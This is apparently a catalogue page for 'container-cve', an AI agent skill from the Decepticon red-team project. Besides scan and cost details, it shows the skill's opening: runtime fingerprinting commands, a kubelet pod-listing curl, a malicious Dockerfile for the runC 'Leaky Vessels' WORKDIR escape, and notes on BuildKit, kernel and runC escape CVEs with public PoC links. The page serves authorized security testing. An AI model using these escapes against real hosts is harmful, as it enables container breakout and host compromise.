Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill container-cvegit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/container-cve)<a href="https://agentmods.dev/skills/purpleailab/decepticon/container-cve"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/container-cve.svg" alt="Measured on agentmods" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 1 finding, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Tool Misuse · line 26 Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00102 | $0.01373 |
| Opus 5 | $0.00051 | $0.00687 |
| Sonnet 5 | $0.00020 | $0.00275 |
| Haiku 4.5 | $0.00010 | $0.00137 |
Grade A, and why
container-cve scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -k https://127.0.0.1:10250/runningpods | jq '.items[0].metadata' Copies of this mod
1 near-identical copy found in the catalogue:
- container-cve — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 124 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Container-Runtime CVE Catalog
When you've identified a container target, fingerprint the runtime stack, then check this catalog for a working exploit. Newest first.
Fingerprint the stack
# Inside the target container
cat /etc/os-release # base image
cat /proc/version # host kernel
docker version 2>/dev/null # if you have client+socket
ctr version 2>/dev/null
runc --version 2>/dev/null
# From kubelet metadata, if accessible:
curl -k https://127.0.0.1:10250/runningpods | jq '.items[0].metadata'
Catalog
CVE-2024-21626 — runC "Leaky Vessels" WORKDIR escape
Affects: runC < 1.1.12, Docker < 25.0.3, containerd < 1.7.13, BuildKit < 0.12.5
Primitive: WORKDIR pointing at /proc/self/fd/N (where N is an open kernel FD) lets the container CWD escape into the host filesystem.
# Build a malicious image
cat > Dockerfile <<'EOF'
FROM scratch
WORKDIR /proc/self/fd/8
COPY pwn /pwn
ENTRYPOINT ["/pwn"]
EOF
# Then run on target. Public PoC: github.com/snyk/leaky-vessels-static-detector
CVE-2024-23651/-23652/-23653 — BuildKit cache mount / RUN --mount escapes
Affects: BuildKit < 0.12.5
Primitive: Crafted Dockerfile uses cache or bind mounts to leak / overwrite host files during docker build.
CVE-2022-0185 — Linux FS context heap overflow
Affects: Linux kernel < 5.16.2 (host kernel — affects every container running on it)
Primitive: fsopen() syscall with a too-long string overflows the heap. CAP_SYS_ADMIN required, but trivial if the container has it.
# PoC: github.com/Crusaders-of-Rust/CVE-2022-0185
# Container escape via kernel → host root.
CVE-2019-5736 — runC binary overwrite
Affects: runC < 1.0.0-rc6, Docker < 18.09.2
Primitive: A malicious container can overwrite the runC binary on the host by exploiting how runC re-execs itself when handling docker exec.
# PoC: github.com/feexd/pocs/blob/master/CVE-2019-5736/
# Still alive on old air-gapped + appliance fleets.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 124 lines · 102 tokens per session scan A 01d44520ca28
container-cve is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,452 stars, last pushed 8d ago), licensed Apache-2.0. It adds 102 tokens to every session and 1,373 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
analyzing-docker-container-forensics
Use when investigate compromised Docker containers by analyzing images, layers, volumes, logs, and runtime artifacts to identify malicious activity and evidence. Use when working with analyzing docker container forensics.
analyzing-kubernetes-audit-logs
Use when parses Kubernetes API server audit logs (JSON lines) to detect exec-into-pod, secret access, RBAC modifications, privileged pod creation, and anonymous API access. Builds threat detection rules from audit event patterns. Use when investigating Kubernetes cluster compromise or building k8s-specific SIEM…
redteam-container-detail-pack
Domain routing and boundary guidance for authorized container and orchestration security testing, including Docker escape, Kubernetes privilege escalation, image vulnerabilities, and service mesh bypasses. Use when a task belongs to the container testing domain and needs scope, evidence, pivot, or exit criteria.
k8s-security-policies
Implement Kubernetes security policies including NetworkPolicy, PodSecurityPolicy, and RBAC for production-grade security. Use when securing Kubernetes clusters, implementing network isolation, or enforcing pod security standards.
helm-chart-scaffolding
Design, organize, and manage Helm charts for templating and packaging Kubernetes applications with reusable configurations. Use when creating Helm charts, packaging Kubernetes applications, or implementing templated deployments.
interactive-dashboard
Interactive web dashboards: stock trackers, sector heatmaps, portfolio monitors — served via preview URL.